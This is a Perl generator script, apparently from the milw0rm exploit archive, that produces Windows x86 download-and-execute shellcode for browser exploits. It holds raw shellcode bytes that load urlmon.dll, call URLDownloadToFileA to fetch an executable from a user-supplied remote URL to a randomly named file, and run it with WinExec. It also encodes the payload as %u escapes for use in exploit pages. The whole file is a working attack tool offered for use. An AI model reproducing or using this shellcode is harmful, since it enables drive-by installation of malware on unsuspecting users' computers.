Windows/x86 - Download File + Execute Shellcode (Browsers Edition) (275+ bytes) (Generator)

#!/usr/bin/perl

$loading_url=$ARGV[0];
chomp ($loading_url);
my @buffer;

if ($loading_url eq "") {
$sco = 'ERROR!!! Enter url to remote exe.';
buffer_gen($sco);
print @buffer;
exit;
}

$c= generate_char(0);

$sco= "\xE8\x56\x00\x00\x00\x53\x55\x56\x57\x8B\x6C\x24\x18\x8B\x45".
      "\x3C\x8B\x54\x05\x78\x01\xEA\x8B\x4A\x18\x8B\x5A\x20\x01\xEB".
      "\xE3\x32\x49\x8B\x34\x8B\x01\xEE\x31\xFF\xFC\x31\xC0\xAC\x38".
      "\xE0\x74\x07\xC1\xCF\x0D\x01\xC7\xEB\xF2\x3B\x7C\x24\x14\x75".
      "\xE1\x8B\x5A\x24\x01\xEB\x66\x8B\x0C\x4B\x8B\x5A\x1C\x01\xEB".
      "\x8B\x04\x8B\x01\xE8\xEB\x02\x31\xC0\x5F\x5E\x5D\x5B\xC2\x08".
      "\x00\x5E\x6A\x30\x59\x64\x8B\x19\x8B\x5B\x0C\x8B\x5B\x1C\x8B".
      "\x1B\x8B\x5B\x08\x53\x68\x8E\x4E\x0E\xEC\xFF\xD6\x89\xC7\x53".
      "\x68\x8E\x4E\x0E\xEC\xFF\xD6\xEB\x50\x5A\x52\xFF\xD0\x89\xC2".
      "\x52\x52\x53\x68\xAA\xFC\x0D\x7C\xFF\xD6\x5A\xEB\x4D\x59\x51".
      "\x52\xFF\xD0\xEB\x72\x5A\xEB\x5B\x59\x6A\x00\x6A\x00\x51\x52".
      "\x6A\x00\xFF\xD0\x53\x68\xA0\xD5\xC9\x4D\xFF\xD6\x5A\x52\xFF".
      "\xD0\x53\x68\x98\xFE\x8A\x0E\xFF\xD6\xEB\x44\x59\x6A\x00\x51".
      "\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xFF\xD6\x6A\x00\xFF\xD0\xE8".
      "\xAB\xFF\xFF\xFF\x75\x72\x6C\x6D\x6F\x6E\x2E\x64\x6C\x6C\x00".
      "\xE8\xAE\xFF\xFF\xFF\x55\x52\x4C\x44\x6F\x77\x6E\x6C\x6F\x61".
      "\x64\x54\x6F\x46\x69\x6C\x65\x41\x00\xE8\xA0\xFF\xFF\xFF\x2E".
      "\x2E\x5C".$c."\x00\xE8\xB7\xFF\xFF\xFF\x2E\x2E\x5C".$c."\x00".
      "\xE8\x89\xFF\xFF\xFF".$loading_url."\x00";

$sco=convert_sco($sco);
buffer_gen($sco);
print @buffer;

sub generate_char()
{
 my $wdsize = shift;
 my @alphanumeric = ('a'..'z');
 my $wd = join '',
 map $alphanumeric[rand @alphanumeric], 0..$wdsize;
  return $wd;
}

sub convert_sco {
        my $data = shift;
        my $mode = shift() || 'LE';
        my $code = '';

        my $idx = 0;

        if (length($data) % 2 != 0) {
                $data .= substr($data, -1, 1);
        }

        while ($idx < length($data) - 1) {
                my $c1 = ord(substr($data, $idx, 1));
                my $c2 = ord(substr($data, $idx+1, 1));
                if ($mode eq 'LE') {
                        $code .= sprintf('%%u%.2x%.2x', $c2, $c1);
                } else {
                        $code .= sprintf('%%u%.2x%.2x', $c1, $c2);
                }
                $idx += 2;
        }

        return $code;
}

sub buffer_gen(){
$sco = shift;
@buffer=<<FX;

    Win32 Download and Execute Shellcode Generator (browsers edition)
    Size: 275 bytes + loading_url
    Author: Yag Kohha (skyhole [at] gmail.com)
    
    Usage: ./sco http://remote_server/loader.exe
    
    Greetz to:
     str0ke \& milw0rm project
     shinnai
     h07
     rgod
     H.D. Moor \& Metaspl0it
     offtopic
     3APA3A
    
-------> Start

$sco

-------> End
FX

}

# milw0rm.com [2008-03-14]